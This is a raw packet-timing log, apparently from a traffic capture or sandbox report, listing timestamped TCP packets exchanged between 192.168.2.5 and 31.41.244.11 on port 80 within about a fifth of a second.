                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.998043060 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.998122931 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.998959064 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.999015093 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.999058962 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.999109983 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:23.999964952 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.000025034 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.000089884 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.000150919 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.001013994 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.001152039 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.001198053 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.001231909 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.002041101 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.002089977 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.002170086 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.002233982 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.003097057 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.003211021 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.003216982 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.003252029 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.004705906 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.004776001 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.004829884 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.004829884 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.005405903 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.005465031 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.005587101 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.005644083 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.006364107 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.006428957 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.006491899 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.006602049 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.007272005 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.007365942 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.007410049 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.007482052 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.008322954 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.008394957 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.008459091 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.008521080 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.009339094 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.009421110 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.009474993 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.009531975 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.010380030 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.010432959 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.010503054 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.010571003 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.011411905 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.011475086 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.011543989 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.011606932 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.012429953 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.012487888 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.012573957 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.012634039 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.013494015 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.013561010 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.013633013 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.013756037 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.014512062 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.014578104 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.014657021 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.014748096 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.015503883 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.015559912 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.153954029 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.154035091 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.154086113 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.154146910 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.154360056 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.154413939 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.154537916 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.154793978 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.155396938 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.155458927 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.155514956 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.155647993 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.156431913 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.156503916 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.156573057 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.156629086 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.157881975 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.157953978 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.158029079 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.158129930 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.158488989 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.158569098 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.158638954 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.158793926 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.159562111 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.159621954 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.159756899 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.159813881 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.160559893 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.160628080 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.160711050 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.160761118 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.161644936 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.161724091 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.161767960 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.161858082 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.162659883 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.162713051 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.162789106 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.162836075 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.163686991 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.163737059 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.163813114 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.163861036 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.164706945 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.164762020 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.164836884 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.164913893 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.165779114 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.165839911 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.165900946 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.165950060 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.166821957 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.166889906 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.166961908 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.167011023 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.167843103 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.167898893 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.167968988 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.168016911 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.168876886 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.168945074 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.169008017 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.169058084 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.169930935 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.170066118 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.170073986 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.170109987 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.170931101 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.171062946 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.171072006 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.171119928 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.171968937 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.172033072 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.172095060 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.172192097 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.172995090 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.173060894 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.173124075 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.173268080 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.174060106 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.174123049 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.174241066 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.174298048 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.175088882 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.175154924 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.175209045 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.175259113 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.176116943 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.176171064 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.176304102 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.176394939 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.177150965 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.177252054 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.177292109 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.177583933 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.178220034 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.178272009 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.178344965 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.178400993 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.179223061 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.179281950 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.179358959 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.179454088 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.180259943 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.180349112 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.180386066 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.180627108 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.181315899 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.181386948 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.181430101 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.181555033 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.182363033 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.182416916 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.182535887 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.182617903 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.183382034 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.183448076 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.183500051 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.183592081 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.184412003 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.184483051 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.184540033 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.184590101 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.185426950 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.185482979 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.185617924 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.185664892 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.186470032 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.186530113 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.186641932 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.186691999 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.187515974 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.187575102 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.187623978 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.187674999 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.188610077 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.188683987 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.188759089 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.188808918 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.190041065 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.190115929 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.190169096 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.190335035 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.190690994 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.190751076 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.190779924 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.190830946 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.191683054 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.191735029 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.191796064 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.191925049 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.192699909 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.192769051 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.192823887 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.192920923 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.193743944 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.193814993 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.193875074 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.194088936 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.194766045 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.194828033 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.194886923 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.194940090 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.195839882 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.195899010 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.195957899 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.196048975 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.196820021 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.196877956 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.196986914 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.197083950 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.197866917 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.197925091 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.198009968 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.198112011 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.198909998 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.198961020 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.199033976 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.199146032 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.199944019 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.199995995 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.200068951 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.200118065 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.200968981 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.201040030 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.201147079 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.201257944 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.202002048 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.202060938 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.202136040 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.202393055 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.203042984 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.203099012 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.203171968 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.203248978 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.204096079 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.204148054 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.204209089 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.204314947 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.205116034 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.205171108 CET4983480192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.205244064 CET804983431.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:24.205286026 CET4983480192.168.2.531.41.244.11
